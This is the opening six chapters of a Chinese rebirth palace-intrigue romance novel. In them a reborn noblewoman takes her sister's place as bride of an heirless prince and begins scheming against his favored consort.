《好孕娘娘娇媚撩人,绝嗣太子日日沉沦》 第一章 重生换嫁 “二姑娘,明日您大喜,老爷请您去前院书房叙话。” 崔锦心神恍惚。 二姑娘? 人人都叫她沈夫人,后来又骂她崔氏毒妇,能称呼她二姑娘的,只有娘家的老人。 她下意识看向自己的手,细腻白嫩,身体也没了那股被毒酒侵蚀的剧痛感。 环视四周,闺房里正布满喜庆的红绸,俨然大婚前夕的模样。 她……重生了? 崔锦指尖微颤,心中涌起狂喜。 毒发身亡后,她竟重生回了与嫡姐一起出嫁的前一日! 前世种种闪过脑海,她眸色微冷,立刻推门而出,直奔书房。 刚到门外,便听见崔父刻意压低的声音:“当年你们姐妹被为父的政敌下毒,损了身子,为父虽请来神医,可也只炼成两颗携带其他功效的解药……明日你们出嫁,要提前服药。” “一颗是好孕丹,极易有孕,生产必双胎,但……”崔父有些难以启齿,“但服用者会于房事需、需求过多。” “另一颗是同心丹,夫妻分食,可恩爱白头,但与子嗣无缘……儒月你服好孕丹,同心丹给锦儿即可。” 崔锦唇角微扯,一把推开门。 她笑看着阴影里的父亲和嫡姐:“长姐要嫁近乎绝嗣的信王,待服丹产子,便可地位稳固,或许以后还能母仪天下……父亲为了长姐,当真用心良苦。” “可我……”她轻笑,“嫁个没钱没势的寒门举子,再断子绝孙,这辈子也望到头了。” 崔父脸色微僵,还未开口,一旁的崔儒月已先一步出声—— “妹妹这是什么话?”她柳眉微蹙,“沈公子才华横溢,父亲选他,也是为你着想,你怎能如此不识好歹?” 她看向崔锦的眼底满是怨妒,又含着不为人知的快意:“罢了,你想要好孕丹嫁信王,我……我让着你就是。” 她眼中含泪,提出换嫁。 崔锦面露诧异。 “行了。” 崔父沉下声音:“你们不必争,为父只有盼着你们好的,无论谁服好孕丹,都是大造化!” 他将丹药放在桌上,推去两人面前。 崔锦目光落在那两颗丹药上,心里一刺。 前世她吃了同心丹,可沈之珩压根儿就没吃另一半……成婚六年后,他官至尚书,她毒发身亡。 只因崔儒月在生产当日,被王府侧妃算计得一尸两命。 那是她第一次见沈之珩红了眼,憎恶地看着她:“新婚当夜,你给的同心丹早被我掉包了,我没吃……我怎会背叛儒月,爱上你这种不知廉耻的女人!” “你抢了她的姻缘,害她惨死信王府,这条命是你欠她的!” 那时崔锦才知道,沈之珩原来早已钟情崔儒月。 他也信了崔儒月的鬼话,认为是她崔锦抢了姻缘,以致他们一对有情人错过彼此。 可好孕丹本就是家里为崔儒月准备的,嫁信王更是圣旨赐婚,为何怪她? 崔锦闭上眼睛。 真心难求,重新来过,她不如坐实了抢人姻缘的罪名,选信王,谋后位! 她上前两步,夺过好孕丹便咽了下去,身体顿时涌上一股燥热。 崔父惊得拍案而起。 “崔锦!你放肆!” 崔儒月也惊住了,可回过神来,唇角却微不可查地翘了翘。 崔锦笑看着他们:“大造化啊,父亲不为我高兴么?” 崔父颤手指着她,嘴唇嗫喏着,一时竟说不出话来,脑子嗡嗡作响。 长女只剩下同心丹可选,难道真让她给深受圣宠的信王喂了吃? 那九族……还保得住么? 崔寄灵定定看他片刻,开口:“沈之珩谁爱要谁要,我只嫁信王!” 屋里寂静一瞬。 崔儒月眼神微闪,低下头,声音哽咽:“虽然圣旨赐婚的是我,但以父亲的地位,当做意外错嫁,皇家不会怪罪,妹妹想要这桩婚事,拿去便是,我……我让着她。” 她哭红了眼的模样叫崔父心疼不已,却也没了办法。 好孕丹只此一颗,留给子嗣艰难的信王才不算浪费。 换嫁最稳妥,都是他崔氏嫡女,无非是原配女儿与继室女儿之分,皇帝不会在意。 半晌后,他脸色难看地点了头。 崔儒月见状,低垂的眼中一片得意。 信王早有心上人,满京谁不知道?就算崔锦抢了好孕丹又如何,没有宠幸,她拿什么怀孕? 就算真圆了房,在信王府后院,好孕丹便是催命符。 那位眼里可揉不得沙子,崔锦死定了! …… 出了书房,崔儒月拦在崔锦面前,脸上已不见半分委屈。 “妹妹可知,沈郎为何会对你如此厌恶?”她语气怜悯又得意,“半年前他答应父亲与你定亲,入府借住,偏偏遇见了我,一见倾心。” 她笑着,声音娇柔: “他当时就对我说,从未见过你这般庸俗无趣又不知廉耻的女子。” 崔锦静静看着她,忽然问:“我抢了你的信王妃之位,你就不恨我?” “恨你急着找死吗?”崔儒月语气轻慢而高傲,“婚事已定,倒不妨告诉你,沈郎不出五年必位居尚书之位,十年内便可入阁拜相!” 而信王……夺嫡之争,满府覆灭。 她眼中的幸灾乐祸藏都藏不住。 崔锦敏锐地察觉到了不对。 崔儒月似乎很断定沈之珩能出人头地…… 她心中闪过对方也重生的念头,却转瞬就打消了。 ——以崔儒月那点心计,若真重生,她不会半点都看不出来。 这时,崔儒月目光落在后方,忽地展颜一笑,娇声唤道:“沈郎!” 第二章 沈之珩也重生了 崔锦回过头,便见容貌俊逸的沈之珩踱步走来,眼神扫过她时居高临下,竟有积威甚重之感。 “儒月,你可说服崔尚书换嫁了?”他问道。 “那是自然。” 崔儒月眉眼含羞,仗着刚才书房只有他们三人,张口便是哄骗:“我对父亲说非你不嫁,他哪儿敢不依?明日……便是你我成婚之日了。” 沈之珩松了口气,眼神温柔下来:“儒月安心,这一世,我不会再叫人抢走本属于你的姻缘,你我必定白头!” 崔儒月含羞低头,得意地瞥过崔锦。 崔锦眼眸微深。 原来重生的另有其人。 似乎是察觉到了她的视线,沈之珩眉头微皱,与她对视。 “崔锦。”他语气冷淡,带着几分居高临下的警告,“当初与你定亲非我本意,我心中只有儒月,望你自重,莫要再纠缠于我。” 他话中含着警告。 崔锦唇角轻扯:“一个寄居崔府、连成婚宅子都要我崔家出钱买的寒门举子,也配让我纠缠?” “你懂什么!”崔儒月冷哼一声,“沈郎年后必能高中状元,更会青云直上,位极人臣!” “儒月不必多言,她只是嫉妒我选择你罢了。”沈之珩凌厉而厌恶地扫过崔锦。 他周身气势凛然,竟有久居权位的压迫感。 这是崔锦前世殚精竭虑,用嫁妆、人脉和外家资源为他堆出来的贵气和威势。 她曾小心翼翼地维护他的自尊,从不提自己暗中扶持,可如今看来,他竟真当这是自己的本事了。 “那便祝你们白头到老,早生贵子。”崔锦嗤笑一声,转身离开。 沈之珩微愣。 崔锦对他痴缠已久,必放不下他,此举……想是欲擒故纵。 他心中莫名生出一丝异样,但转瞬即逝。 前世种种已经过去,他亦不愿再计较。 若崔锦懂事,来日信王府覆灭,他未尝不可收她为妾,给她生路,但前提是她不再嫉妒儒月。 “沈郎?” 崔儒月见他出神,轻扯他的袖角,娇嗔道:“明日信王府迎亲,必定声势浩大,我们可不能被比下去。” 她绝不容许崔锦压过她的风头,哪怕只是片刻。 沈之珩想了想:“我娘初到京城,筹备仓促,婚仪的确简陋了些,我这就命人去准备,聘礼多加二十抬,花轿也改为十六抬,迎亲队伍再添两队乐师。” “如此……花费可不小。”崔儒月语气试探。 “无妨,最多也就五千两银子罢了。”沈之珩声音温柔,“等晚间我再去请回音楼最好的戏班子,一定叫你风风光光嫁给我。” 崔儒月眼睛微亮:“回音楼可是宗室王府难都请的戏班,沈郎真能请来?” 沈之珩一笑:“我与回音楼的主子交情匪浅,日后他还会助我青云直上。” 崔儒月心中闪过惊喜,愈发得意。 她故作惋惜道:“方才我提出换婚时,妹妹迫不及待就吃了好孕丹,当真是鼠目寸光,她只瞧见信王妃的眼前风光,却不知沈郎才华横溢,日后必能位极人臣,权势滔天。” 幸好沈之珩说他重生时,她虽不信,也没挑破,这才叫他透露了些未来之事。 否则嫁入信王府被连累的就是她了。 沈之珩眸色微沉,似不经意地问:“崔锦当真立刻吃了好孕丹?她没有与你抢我?” “没有。”崔儒月轻叹,“她似乎对信王很是钟情呢。” 沈之珩脸色沉怒:“如此贪慕虚荣,品行实在不堪!信王府……等明日大婚之夜,她就知道什么叫悔不当初了。” 看着崔儒月好奇的眼神,他道:“信王钟情侧妃,大婚之夜甚至连交杯酒都不会与崔锦喝,等大婚次日……她就会因给侧妃下毒而被御前降罪,身败名裂。” 前世是崔儒月的劫难,现在成了崔锦的。 等她饱尝苦楚,自会后悔今日抢婚之举。 届时她若愿意给儒月为奴为婢,磕头认错,他可以不计较她是二嫁之身,收为通房。 崔儒月面露诧异,眼中却尽是讥笑:“妹妹自幼便爱争抢攀附,这一回,可要叫她尝尝苦头了。” 王妃又如何? 生来就是贱命的贱婢,给她泼天富贵她都接不住。 一个在她母亲面前执妾礼的洗脚婢女儿,这辈子都只配衬托她! …… 崔锦回了院子,便径直躺去软榻,敲起木鱼,这是她沉思时的习惯。 她总觉得不太对。 崔儒月向来眼高于顶,前世宁可嫁入信王府守活寡,也不愿屈就寒门举子,今日却对沈之珩如此死心塌地……就算沈之珩未来能入阁拜相,又怎敌有望登基的天潢贵胄? 除非……沈之珩告诉了她什么。 比如利用重生先知,预言几桩小事,获取崔儒月的信任,再告诉她……信王未来会有难? 且是大难。 如此,崔儒月才会放弃信王,转而选择他。 一层一层捋下来,崔锦已有头绪——信王牵扯最深的,不过就是夺嫡。 前世信王因无嗣,的确处境艰难,直到她死前,信王都膝下无子,唯二的孩子也随着崔儒月一尸三命。 信王地位不稳,继而遭逢大难,必与绝嗣息息相关。 绝嗣…… 崔锦笑了。 崔儒月没脑子,嫁入王府被磋磨六年才圆房有孕,不代表她崔锦一样无能。 她能扶着自大傲慢的沈之珩官至尚书,未必就会输在信王府后院。 这一次,她要做皇后、做太后,此生都不再为人掣肘! 一夜眨眼即过。 崔锦天不亮就起身,被带去崔儒月的院子,以便换亲。 两人擦肩而过时,崔儒月眼中满是得意:“妹妹可要珍惜今日最后的风光了。” 崔锦微顿:“长姐此言何意?” 崔儒月轻抚袖口,却只掩唇笑着,不说话了。 等今日拜过堂,她再捅出崔锦蓄意换嫁之事,崔锦便更会招了信王厌恶……连最后属于信王妃的风光都享受不到,还要日夜忍受好孕丹对房事需求的折磨。 可她崔儒月却很快就是尚书夫人、首辅夫人,受尽追捧! 第三章 大婚 崔锦目送崔儒月离开后,忽然笑了。 不用猜她都知道崔儒月在想什么。 前世洞房之夜,崔儒月连信王的人都没留住,独守空房叫人看尽笑话,紧接着便被戴上给侧妃下毒的帽子,以致御前申斥,声名狼藉。 ……但那不是因为崔儒月蠢么? 想看她笑话,那就看看最后是谁成笑话。 她快步进了里间,任嬷嬷梳妆打扮。 没过多久,崔母匆匆赶来,看到她顿时红了眼睛:“沈家虽清贫,却能拿捏得住,你又何苦……选那条路。” 做母亲的,谁会乐意女儿嫁给一个心有所属的男人,未来勾心斗角? “沈家?难缠的婆婆,白眼狼的小姑子小叔子,还有个恶心的人……哪比得上军功赫赫,俊美非凡的信王,母亲安心就是,我不亏。” 说罢,崔锦忽地想起什么:“对了,您跟外祖父和舅舅说一声,对沈之珩的扶持可以停了,别给他半点好处。” 崔母点头:“昨日知道你换嫁后,我就去信告知了你外祖家,给沈家的银票也叫人偷回来了。” 现在给沈之珩便宜,就是给崔儒月便宜,她可忍不下这口气。 崔儒月竟还妄想在迎亲日压过她锦儿的风头…… 崔母冷笑一声。 “还是母亲反应快!”崔锦笑眯眯的,“辛苦母亲了。” “只要你平安,母亲做再多也不辛苦。” 崔母不舍地摸了摸她脸颊,强忍下泪意。 她与崔儒月的母亲曾是手帕交,可当初后者因难产,时日无多,竟算计她失身于崔父,名声尽毁,只为叫她嫁进来养大崔儒月! 崔锦与崔儒月只差一岁,在府中的境遇却截然不同——崔儒月众星捧月,被崔父溺爱骄纵,而崔锦在他眼里如杂草,连看都懒得看一眼。 她的锦儿是顶着污名,饱受委屈长大的。 眼见着终于能嫁人,离开这对恶心人的父女,却又要进另一个虎狼窝。 她闭了闭眼。 压下难受后,她立刻在心中思索起该如何帮崔锦在王府站稳脚跟,乃至更进一步——她已经掌握崔父一半的势力资源,再加上娘家父兄……未必不能一博。 片刻后,崔锦盖上盖头,交好的女眷们先后进门,为她添彩。 隔房堂兄也候在了门外,准备背她出门。 崔父原配只有崔儒月一女,继室崔母两女两子,崔锦占长,弟弟们年幼,只能请堂兄送嫁。 只是临到崔府门前,看到外头景象,众宾客的面色却都怪异起来。 ——信王府的花轿华贵雍容,禁军开道,皇子亲迎,尽显天家气派。 而沈家的花轿虽缀满珠玉,却只是八人小轿,仆从衣着簇新却局促畏缩,活像穷酸户硬撑门面。 两相对比,滑稽至极。 这崔家真有意思,两女同时出嫁,一个嫁风头正盛的亲王,一个嫁穷酸落魄的举子。 活将后者衬托得像乡下逃难来的。 崔儒月隔着半透的盖头,也看到了这副寒酸景象,眼睛顿时气得通红,直接甩开了沈之珩扶上来的手。 还没等看到崔锦被信王冷落、身败名裂,她自己就先丢了人! 周围还有些她交好的小姐妹,此时纷纷面露鄙夷,更有甚者毫不客气地笑出了声。 ——她们现在以为笑的是崔锦,可今夜一过,脸面尽失的就成了她崔儒月! 这一刻,她甚至想要转身上信王府的花轿。 只有不断说服自己崔锦会跟着信王下大狱,她才能堪堪忍住。 “姑娘,该上花轿了。”喜婆轻声提醒。 崔儒月双手紧攥,再次看了崔父一眼,才被扶上花轿。 崔父脸上笑容很僵硬,四面八方的微妙目光更叫他险些无地自容。 沈之珩说自己一力操办婚事,他便放了心,谁想……早知此子这般无能,他就该亲自接手,省得把脸丢满京城! 他咬牙强笑,提醒沈之珩:“贤婿,锦儿已上了花轿,你该回了,免得错过吉时。” 沈之珩听到崔锦的名字,才从被众人讽笑的愤怒和崔儒月的无视中回神,面色微怔。 崔锦上的不是他的花轿。 他下意识想去看前方信王府的花轿,却生生忍住。 他如愿娶到了儒月,改变她难产而亡的命运,余生更能与她相守……这是他盼了两世的梦。 崔锦那种不知廉耻又心机深沉的女人,怎配与儒月相较? 他敛下心思,笑容温柔地调转马头,回家。 …… 信王府此时宾客来往,喜气洋洋正热闹。 崔锦拜完堂后就被扶进新房,端坐等着信王。 夜色渐深时,婢女如秋匆匆进门,见屋里没有外人,低声笑道:“奴婢方才听了一嘴闲话,姑娘可知今日沈家迎亲如何?” 崔锦眉梢微挑:“如何?” 如秋笑出了声:“沈家迎亲的场面寒酸得很,雇来的下人毛手毛脚,轿子抬不利索,下花轿的时候,喜婆没扶稳,还差点叫大姑娘摔了一跤,听说她双手攥得都快出血了。” “还有进门时,沈老夫人非要新娘子跪着跨火盆、交出嫁妆才罢休,若今日是您,三言两语也就打发了,可大姑娘蠢得很,竟都忍了下来,叫人好一番轻看。” “她……怕是惦记着沈之珩未来的风光,忍辱负重呢。”崔锦轻笑一声。 沈家那群白眼狼,崔儒月越忍让,他们越猖狂,沈之珩偏生是个孝顺重情的,就算偏心崔儒月,她的日子也不会好过。 还有那件龌龊事……回门之日,必有好戏看。 听到脚步声,崔锦立刻抬手制止如秋。 可片刻后,进来的只有喜婆和婢女嬷嬷,新郎却不见人影。 “王妃……方才林侧妃旧伤复发,王爷去看她了。” 信王身边的小太监恭敬解释:“侧妃久在战场,与男人们直来直去惯了,不懂后宅的弯弯绕绕,您、您担待些。” 崔锦声音温柔:“无妨。”早有预料。 小太监目露同情。 信王的心上人是侧妃林昭,曾与他同在战场共患难,还为他挡过刀。 信王子嗣艰难,很大原因在于林昭曾放言,不与人共侍一夫,因此王府后院虽有姬妾,却并无承宠之人。 但有前世记忆的崔锦觉得……信王自己恐怕也是个不会下蛋的公鸡。 半晌后,外头终于传来脚步声,随即婢女们行礼:“见过王爷。” 崔锦眼前步来一双黑色锦靴。 第四章 娶你非本王心中之意 少顷,盖头被挑起。 崔锦抬眸的瞬间,情意绵绵,艳若桃李的脸颊浮起羞红。 萧临眼中闪过一瞬惊艳。 他见过的美人不少,但都难及眼前之女。 但一瞬后,他眼神恢复如初:“昭儿旧伤复发,方才本王去瞧她,叫王妃久等了。” “侧妃伤势要紧。” 崔锦笑了笑,叫婢女拿了上好的天山雪莲给林昭送过去。 萧临眼神审视,含着试探与警告:“娶你是皇命难违,非本王心中之意,此后你若大度容人,本王会给你应有的体面,但本王的宠爱与宠幸……你最好不要肖想。” 崔锦颔首:“妾身会包容林侧妃。” “是谦让。” 萧临直言不讳:“昭儿性子清冷,志在沙场,不懂后宅女子的腌臜手段,你别拿那套去对付她,本王不希望她受任何委屈。” “妾身从不害人,也必礼待于她。”崔锦笑容更温柔了。 萧临这才点头。 在喜婆拿来交杯酒时,他抬手挥退,出门宴客。 崔锦眼神泛凉。 连交杯酒都不肯喝,必也不会圆房……好孕丹对房事频繁的需求,暂时怕是解不了。 不过她也算明白前世洞房之夜,崔儒月为何留不住萧临了。 ——谦让林昭的话一出来,崔儒月必定嘴上应承,内心不忿,偏她想什么都摆在脸上,狗肚子里藏不住二两油,萧临这种人精怎会看不出来? 她坐去妆台前,如秋一边为她卸妆,一边道:“奴婢闻着王爷身上有酒味,刚才怕是跟侧妃喝过了吧。” “侧妃林昭……”崔锦想起一些事,眼眸微眯。 此女怪异得很。 她垂眸,随手拨开床上的红枣,转身道:“先沐浴吧。” 她在耳房泡了一刻钟,算了算时间——换嫁的事应该快捅出来了,崔儒月必会将一切推到她头上。 这正合她意。 片刻后,她耳尖微动,随手拨弄头发,只着一层中衣便走出耳房。 门“砰”一声被踹开。 萧临满含怒气地进门,却在看到她后,忽然一滞。 美人出浴只会更美。 如秋立刻捂住王府婢女的嘴,退了出去,关好门。 崔锦不慌不忙,一笑:“王爷知道了?” 萧临眼神沉下:“你不狡辩?” “有何狡辩,本就是我蓄谋已久。” 崔锦缓步走进,抬手似想要抚平他微皱的眉眼,又蓦然停在半空,轻声道:“王爷别皱眉,妾身心疼。” 萧临冷冷挥开她的手:“本王娶的是崔氏嫡长女儒月,你竟敢私自换嫁!可知欺君之罪——” “我知道。” 崔锦声音更轻:“欺君当斩,王爷不会怜惜我,或许今夜便是你我夫妻缘尽之时……这些,我都知道。” 她看着他,眼睛蓦然红了:“可我不甘心。” 萧临对上她满含情意的眼后,忽然明白了。 “三年前,王爷凯旋回京,我在阁楼上遥遥一望,便再难有旁人入我心,我曾为自己争取过,可等来的却是赐婚你与长姐的圣旨……我怎能甘心叫你姐夫?” 崔锦声音沙哑:“所以我模仿长姐的举止,故意与她同日出嫁,骗她换了花轿……我知自己卑劣,可我顾不得了。” 说完,她自嘲一笑:“可惜终究瞒不过王爷,我不骗你,也不想狡辩,对这桩婚事、对于你……我的确蓄谋已久。” 萧临眼眸微动。 一向清冷的眼中,难得有了别的情绪。 崔锦屈身准备跪下:“此事皆为臣女一人所为,崔家与长姐并不知情,臣女……任凭王爷处置。” 膝盖将触地时,一双手扶住了她。 她愕然抬眼,泪珠倏然滚落。 “崔氏。”萧临钳住她下巴,声音冷漠,“若父皇降罪,你只有一死,本王不会保你。” “臣女知道。” 泪水滑落眼角,露出眼中偏执而孤注一掷的情意:“若得一夕夫妻之名,臣女死而无憾。” 她眼中炙热坚定的爱意几乎要烧灼旁人。 萧临手下微紧。 半晌后,终于道:“既已嫁人,便别再自称臣女了。” 崔锦怔住,似不敢信。 直到从他眼中看到默许,才蓦地扑进他怀里,声音哽咽:“多谢王爷垂怜!多谢王爷……” 怀中的柔软叫萧临微怔,茉莉香扑鼻而来。 但他没有伸手抱她——这是对林昭的承诺。 崔锦却笑容渐深。 她毫不掩饰自己的“算计”。 一个貌美女子愿意为了你机关算尽,背叛姐姐,甚至赌上一条命,只为求一夜夫妻之名,哪个男人能不动容? 萧临这种有心理问题、缺爱的尤甚。 即便不爱她,也会怜惜。 果然,他面色不变,眼中的怒意却散了:“今日错嫁只是意外,以后不必再提此事,还有——本王允你留府,你却不要心生妄想,妄图占据本该属于昭儿的东西。” “妾身明白。” 崔锦苦涩一笑,大抵是太过惊喜,她抱了他好一会儿。 直到被轻轻拍了拍背,她才反应过来,忙退后三步。 目送萧临进了耳房后,她一边在软榻上洒满茉莉香,一边心中嗤笑。 即使她什么都不做,萧临也不会以欺君罪处置了她,只因崔家还有用……却说得好像叫她留府,是他的恩赐一样。 她虚伪算计,他也并不高尚。 萧临沐浴出来后,就看到软榻上铺好的被褥。 烛火下,崔锦垂眸:“妾身自幼体弱,睡不得软榻,只能请王爷将就了。” 萧临沉默一瞬。 他的确答应林昭不宠幸王妃,可同床而眠却无妨,被崔锦主动赶去软榻……心中总有些不痛快。 他忽地问:“你便不为自己求一求?” “您心有所属,妾身只求名分。” 萧临眼眸微深:“望你谨记今日的话,安分守己。” 躺下后,他闭上眼睛,脑中却浮现刚才一幕。 ——红烛映在她如雪的肌肤上,里衣勾勒出玲珑身段,再往上……是美玉生辉,如姑射神女般的脸。 如画中仙,偏又活色生香。 后半夜,一股淡淡的茉莉香总扰得他心浮气躁,睡不安稳。 第五章 侧妃胸有谋略,心怀天下 翌日。 崔锦醒来时,天色还未亮透。 她懒懒坐起身,就看到对面软榻上的萧临。 大抵是在军营里待多了,他睡姿很随意,被子滑落到腰间,扯乱的衣襟露出大半肌理分明的胸膛。 身体是真不错,可惜,是个不能生的。 她下床的动静不大,萧临却立刻警觉地睁开眼,注视她半晌后,才收回目光,起身穿衣。 这时宫里的嬷嬷进来收喜帕,见是白净一片,脸色不太好看。 萧临见状,眉头微皱。 崔锦纵非崔氏嫡长女,却也是嫡次女,外家更是显贵,他如此不给她脸,若叫皇帝与崔家知道,必然对他不满。 崔锦是真没想到喜帕这一层,还是想借势逼他圆房? 崔锦坐在妆台前,瞥了他一眼。 萧临没用膳就离开了,她也没管他,慢悠悠用着早膳。 忽地想起什么,她挥退王府丫鬟,低声吩咐如秋:“昨夜信王封口,崔儒月不敢再明目张胆地将换婚一事扣在我头上,但暗示诉苦……她可最擅长了。” 如秋点头:“奴婢会注意外头的风向。” “嗯,再去查查她与沈之珩私下的往来。”崔锦眼眸微眯,“以防万一。” 换婚真相一日不明,崔儒月就一日不会放过抹黑她——毕竟萧临和沈之珩,有脑子的都知道该如何选,也不会有多少人信她崔锦无辜。 可若证明沈之珩与崔儒月早已私相授受,她便是最清白的受害者了。 如秋了然一笑:“昨日出嫁匆忙,大姑娘想来没多少工夫盘查自己院子,奴婢这就传信,先叫夫人从她院子里搜起。” 崔锦点点头:“还有沈家,沈之珩喜欢在书房里藏东西,叫人去找找有没有崔儒月的信物和书信,找机会捅给外人看。” “是。” 看着如秋离开,崔锦怔了片刻,才继续用膳。 前世,她直到临死前才知道这两人竟私下往来不少,甚至沈之珩屡屡助萧临巩固势力,也并非因崔父的嘱咐,而是他为了崔儒月,甘愿成为萧临手中刀。 否则以崔儒月那点脑子,在信王府坚持不了六年。 可惜她前世给沈之珩的自由和尊重太多,竟纵得他在自己眼皮底下暗度陈仓…… 她眼中冷意闪过,复又恢复平静。 沈之珩已是过去,她的以后,在信王府。 先坐稳王妃之位,徐徐图之才是正理。 膳后,她漱口更衣,准备出门。 今日要进宫拜见帝后,她正经的公公婆婆。 但刚出院门,就见前方空地上,萧临正与一个气质清冷的白衣女子在交手。 她微微一顿。 侧妃林昭。 南疆一九品小将之女,五年前萧临赶赴南疆战场,中途救过林昭一命,林昭为报恩直接追去了战场,还为萧临挡了一刀。 从此成为萧临心中白月光。 因其清冷如月,又有铮铮傲骨,在京中也颇负盛名,茶馆戏楼争相宣传她曾在战场上的勃勃英姿,她作出的几十首传世诗词也被文人才子争相追捧。 若非身份太低,她早就是信王妃了。 似乎是察觉到她的目光,林昭动作更快,与萧临的肢体接触也越来越多,默契中又含着暧昧。 崔锦看了片刻,索然无味。 林昭下盘不稳,力道绵软,出手也不够利落,三脚猫功夫罢了。 萧临倒是好耐心,陪着她过家家似的玩。 在下人们的行礼声后,萧临才收手,转头看到盛装昳丽的崔锦,他眼中再度闪过惊艳。 此时,林昭一个不稳,竟扑进了他怀里。 她抬起头,清凌凌瞪人:“王爷总是如此,收手也不打个招呼,想叫我扑你怀里便直说!” 萧临轻笑一声。 崔锦也笑了:“王爷收手前三招都撤了力道,侧妃自己下盘不稳,怎还赖王爷?” 林昭脸色微僵。 萧临诧异问:“王妃懂武?” “妾身幼时病弱,没法出门玩,堂兄们便常练功给我看,耳濡目染便懂了些。”崔锦声音温柔。 如秋深深低头,那群轻则鼻青脸肿,重则伤筋动骨的崔家公子们……算他们倒霉。 萧临不由得目露欣赏。 林昭脸色微冷,正想说什么,却在看清崔锦容貌的瞬间,闪过惊疑与恐慌。 崔氏女竟如此美貌! 林昭的容貌说好听点是英气,实则只算清秀,连王府姬妾都比不上。 而崔锦……她容貌胜过林昭见过的所有美人。 她下意识抓紧萧临的手,声音冷然:“王妃体弱,不圆房对你是好事,你别怪王爷……对了,昨夜的交杯酒,我替你与王爷喝了,望你别介意。” “昭儿。”萧临提醒,“不可对王妃不敬。” “这也叫不敬?” 林昭清冷的脸上闪过诧异,随即不耐蹙眉:“后宅女心思就是多,一两句话竟也要记恨上?” 在人前,萧临还是给了崔锦一分脸面:“不可胡言乱语。” “人人平等。”林昭甩开他的手,清冷的声音满是傲气,“我做不来尊卑有别那套,也学不来后宅小女子那等矫情做派!你若不耐,只管赶我出门,我巴不得回边疆!” 崔锦眉心微动。 她没有开口斥责。 现在的林昭地位稳固,还有萧临的心,与她明面对上,势必吃亏又没脸。 果然,萧临并未呵斥林昭,眼中既有无奈,又含着三分紧张。 他忙叫下头人开库房送了不少珍宝首饰,林昭这才给了个不大明显的笑脸。 她余光瞥过崔锦,意味不明。 崔锦笑容不变,与萧临相携离开。 林昭脸色骤冷。 婢女觑着她的脸色,骂道:“崔氏女占了本属于您的王妃之位,还敢顶着一张狐媚脸勾引王爷……还是世家女呢,竟如此厚颜无耻!” 另一个婢女笑道:“不过一个没见识的后宅女,侧妃胸有谋略,心怀天下,本该征战沙场,只是为了王爷才屈居王府,论心计和与王爷的情分,她哪点配与侧妃比?” “你倒是机灵。”林昭神色傲然,“以色侍人,能得几时好?我堂堂巾帼女将,拿这等眼界不开的封建女当个对手都是抬举她。” “但她敢勾引王爷,侧妃便该叫她知道厉害!” 婢女一边出谋划策,一边扶她回去。 …… 上了马车后,萧临对崔锦道:“昭儿在南疆无拘无束惯了,王妃大度些。” “王爷喜欢的人,妾身亦会护着。”崔锦笑了笑。 萧临见她懂事,心下也满意了。 进宫后,两人拜见了永隆帝和皇后。 错嫁一事已经报去了宫里,永隆帝果然没有追究。 对他而言,只要是崔家嫡出女儿,谁做儿媳都无所谓,只是敲打了萧临片刻,不可冷落王妃。 毕竟崔父是礼部尚书,崔锦外家清河谢氏更是百年簪缨世家,势力深厚。 等拜见过皇后之后,两人才到了萧临生母淑妃的钟粹宫。 第六章 林昭中毒 淑妃年过四十,却风韵犹存,拉着崔锦的手连声称赞:“好孩子,看着便是个好生养的,必能一举得男!” 崔锦垂眸,佯作羞涩,余光瞥到萧临脸色微沉。 正是夺嫡的关键时候,他却膝下无子,脊梁骨都快被政敌戳透了,如今谁在他面前提起孩子,都能刺中他敏感的心。 她温柔一笑:“母妃放心,妾身也会照顾好王爷的。” 淑妃笑容更深:“这就对了,回去你便掌中馈,好生肃一肃王府没规矩的风气,谁若敢与你为难,尽管来报与本宫。” “府中人人都好相处,母妃不必担忧。” “人人好相处?”淑妃冷笑一声,“有些狐媚子惯会装模作样,被人盛赞的清冷傲骨之下尽是腌臜心思,只有那眼瞎心盲的才拿她当个宝!” 到底浸淫深宫多年,淑妃眼睛毒得很。 她瞥了面沉如水的萧临一眼:“老四须知谁才是你名正言顺的妻子,宠妾灭妻是大忌!” 萧临冷声点头:“是。” 淑妃眉头微皱,也歇了说教的心思,摆手:“时候不早了,你们回吧。” “儿子告退。”萧临面无表情地拱手。 崔锦跟着屈膝。 无论前世今生,这对母子之间的嫌隙都不小。 若非淑妃幼子年幼,她支持夺嫡的恐怕也不是萧临了。 出了钟粹宫后,崔锦转头看了身边的人好几眼。 面无表情,周身气息却略显阴郁,还带着股微不可查的自嘲。 她眨了眨眼,悄悄勾住他的手,在他看过来时,眸中满是依恋:“王爷走慢些,妾身想陪着王爷并肩走。” 萧临声音低沉:“按规矩,你该落后半步。” “可妾身需要王爷,只想与您一起走。”崔锦异常执着,“回回落后半步,等未来走远了便只剩您一个人,那该多孤单,妾身不守规矩,只想陪伴王爷。” 萧临沉默片刻。 没说话,也没避开她的手。 两人牵手出宫,沿途所遇之人无不惊诧——林侧妃受宠,这是满京皆知的事,人人都说崔氏女进门必然要坐冷板凳。 可才新婚第二日,素来守礼的信王却牵着王妃的手招摇过市,瞧来竟恩爱极了。 崔锦心满意足地上了马车。 萧临这种有心理问题的,最需要的就是被肯定、被依赖、被坚定选择。 若她没猜错,林昭自诩女儿身男儿心,是不怎么对他示弱的,反而会加重自己与柔弱女子的不同,而后院的姬妾也是摆设,从未交心。 这就方便她趁虚而入了。 回府后,萧临去了林昭的珠玉院。 此时正是午膳时间,崔锦看了眼桌上的膳食,眼神微闪:“这银耳莲子羹不错,送去侧妃院里,叫她与王爷尝尝。” “是。” 崔锦悠悠用着膳,心下想着,现在她与萧临“恩爱”的消息应该已经传得满京都是了。 听到这个消息,不高兴的除了林昭,恐怕还有崔儒月。 膳后,如春拿着一沓礼单上前:“王妃,这是嫁妆单子,上午奴婢已着人搬进库房,清点完毕。” 崔锦翻开瞧了瞧,笑了:“这本是崔儒月的嫁妆单子,可母亲手里那份,与这份似乎不大一样。” 如春撇嘴:“老爷深爱先夫人,恨不能将大姑娘捧在手心宠,她的嫁妆,可有崔府三成家产了,他自然不敢给夫人真单子。” 崔锦瞧着好笑:“你气什么?现在是我的了。” “可夫人给您准备的嫁妆更贵重,里头更有不少您外祖家的传世之宝!”如春不忿,“如今全便宜那位了!” 崔儒月自小便仗着生母屡屡给给崔锦母女没脸,每逢出门必红眼诉苦,闹得满京皆传崔母不慈,还曾挑拨后院姨娘给崔母下绝育药。 就连沈家这个破落户,都是她撺掇崔父给崔锦挑的归宿,只为将崔锦踩在脚下。 如春几人看在眼里,当真厌恶极了崔儒月。 “放心吧,母亲不会蠢到给崔儒月便宜占。” 崔锦说完,叮嘱:“都去做事吧,别说出什么难听话。” 